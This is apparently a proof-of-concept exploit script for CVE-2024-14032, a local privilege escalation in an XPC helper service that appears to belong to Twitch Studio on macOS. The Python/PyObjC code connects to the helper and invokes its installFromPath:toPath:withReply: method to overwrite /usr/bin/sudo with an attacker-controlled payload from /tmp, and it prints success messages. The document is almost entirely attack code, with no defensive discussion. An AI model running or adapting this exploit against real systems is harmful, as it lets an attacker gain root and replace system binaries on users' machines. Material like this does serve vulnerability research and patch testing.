CVE-2024-14032

# PoC for CVE-2024-14032 (Conceptual Python/PyObjC) # This script demonstrates how to interact with the vulnerable XPC service. import Foundation import objc # Define the Mach Service name (Example based on typical helper structures) MACH_SERVICE_NAME = "com.twitch.TwitchStudio.Helper" def exploit_privilege_escalation(): print("[*] Attempting to connect to XPC service: {}".format(MACH_SERVICE_NAME)) # Create a connection to the privileged helper tool connection = Foundation.NSXPCConnection.alloc().initWithMachServiceName_options_( MACH_SERVICE_NAME, 0 ) # Define the interface (Protocol must be inferred or known) # Assuming a protocol 'HelperProtocol' exists with the vulnerable method connection.remoteObjectInterface = Foundation.NSXPCInterface.alloc().initWithProtocol_( objc.protocolNamed("HelperProtocol") ) connection.resume() # Get the remote object proxy remote_object = connection.remoteObjectProxy # Define paths for the attack # Source: A malicious payload controlled by the attacker malicious_source_path = "/tmp/malicious_payload" # Destination: A sensitive system binary to overwrite (e.g., sudo) target_system_path = "/usr/bin/sudo" print("[*] Invoking installFromPath:toPath:withReply: to overwrite {}...".format(target_system_path)) # Invoke the vulnerable method to copy file as root # Method signature: installFromPath:toPath:withReply: try: remote_object.installFromPath_toPath_withReply_( malicious_source_path, target_system_path, lambda success, error: handle_reply(success, error) ) except Exception as e: print("[-] Exploit failed: {}".format(str(e))) finally: # Keep connection alive briefly for the async call Foundation.NSRunLoop.currentRunLoop().runUntilDate_(Foundation.NSDate.dateWithTimeIntervalSinceNow_(2)) connection.invalidate() def handle_reply(success, error): if success: print("[+] Exploit successful! System file overwritten.") else: print("[-] Error returned by helper: {}".format(str(error))) if __name__ == "__main__": exploit_privilege_escalation()

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